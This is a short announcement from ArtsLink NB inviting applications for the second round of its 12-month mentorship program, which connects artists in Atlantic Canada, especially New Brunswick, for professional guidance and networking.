Mentorship Program Expansion 🤝

ArtsLink NB is once again accepting applications for the second iteration of our mentorship program. Artists of all disciplines who live in Atlantic Canada face the unique challenge of pursuing their practice from a marginalized area of the country. Building networks through lifelong engagement in peer-to-peer and mentor-to-mentee discourse is vital to pursuing a career for any arts professional, but the need is especially high in New Brunswick. 

In response to this, ArtsLink NB runs an intensive 12-month mentorship that connects artists who wish to share their professional experience and guidance with other artists.
